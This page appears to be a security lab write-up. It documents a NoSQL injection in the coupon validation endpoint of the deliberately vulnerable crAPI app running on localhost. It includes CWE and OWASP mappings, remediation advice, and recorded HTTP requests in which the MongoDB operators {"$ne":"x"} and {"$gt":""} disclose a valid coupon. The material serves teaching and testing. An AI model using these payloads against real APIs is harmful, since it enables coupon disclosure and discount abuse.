SiberFaqih Bahasa Indonesia

Back to the index

LAB FAIL

NoSQL Injection - Community - Coupon Validation

NoSQL Injection — Community — Coupon Validation

CWE-943: Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection) · OWASP API8:2023 - Security Misconfiguration (Injection)

Vulnerability

[FAIL] NoSQL Injection - Community - Coupon Validation

Description

The validate-coupon endpoint passes the JSON value coupon_code straight into a MongoDB query without type sanitization. Query operators (e.g. $ne, $gt) match any coupon without knowing its code.

Impact

Confidentiality: valid coupon codes and values are disclosed. Integrity: coupon validation is bypassed, enabling discount abuse.

CWE

CWE-943: Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection)

OWASP

API8:2023 - Security Misconfiguration (Injection)

Scenario

Normal: a valid string coupon code (TRAC075) -> 200. Exploitation: coupon_code is replaced with a NoSQL operator ($ne/$gt) -> discloses coupons without knowing the code -> CIA (Confidentiality + Integrity).

Endpoint

POST http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon

Affected feature

Coupon Validation (crapi-community)

Remediation

- Enforce the string type on coupon_code; reject objects/operators. - Use parameterized queries/sanitization and validate the input schema.

Proof of concept

  1. (Screenshot 1) NORMAL: POST validate-coupon with the valid string coupon_code "TRAC075" -> 200.
  2. (Screenshot 2) EXPLOITATION: change coupon_code to the operator {"$ne":"x"} -> 200 discloses a valid coupon without knowing its code.
  3. (Screenshot 3) CIA IMPACT: the operator {"$gt":""} also discloses a coupon -> confirms NoSQL injection.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

Normal: valid coupon code

Normal flow: the user enters a known coupon code as a string (TRAC075) and receives 200, confirming that the code is valid.

HTTP request
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"coupon_code":"TRAC075"}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79

{
  "coupon_code": "TRAC075",
  "amount": "75",
  "CreatedAt": "2026-09-28T14:27:38.729Z"
}
Normal: valid coupon code

Exploit: $ne operator

Exploit: replacing the coupon_code value with the NoSQL operator {"$ne":"x"} exposes a valid coupon without knowing its code.

HTTP request
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"coupon_code":{"$ne":"x"}}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79

{
  "coupon_code": "TRAC075",
  "amount": "75",
  "CreatedAt": "2026-09-28T14:27:38.729Z"
}
Exploit: $ne operator

Impact: coupon exposed through $gt

Impact: the operator {"$gt":""} also exposes a coupon. Leaking the coupon code and value compromises confidentiality; bypassing coupon validation compromises integrity.

HTTP request
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"coupon_code":{"$gt":""}}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79

{
  "coupon_code": "TRAC075",
  "amount": "75",
  "CreatedAt": "2026-09-28T14:27:38.729Z"
}
Impact: coupon exposed through $gt

← Previous case: Mass Assignment - Authentication - User Registration Next case: NoSQL Injection - Community - Coupon Validation (Normal Input) →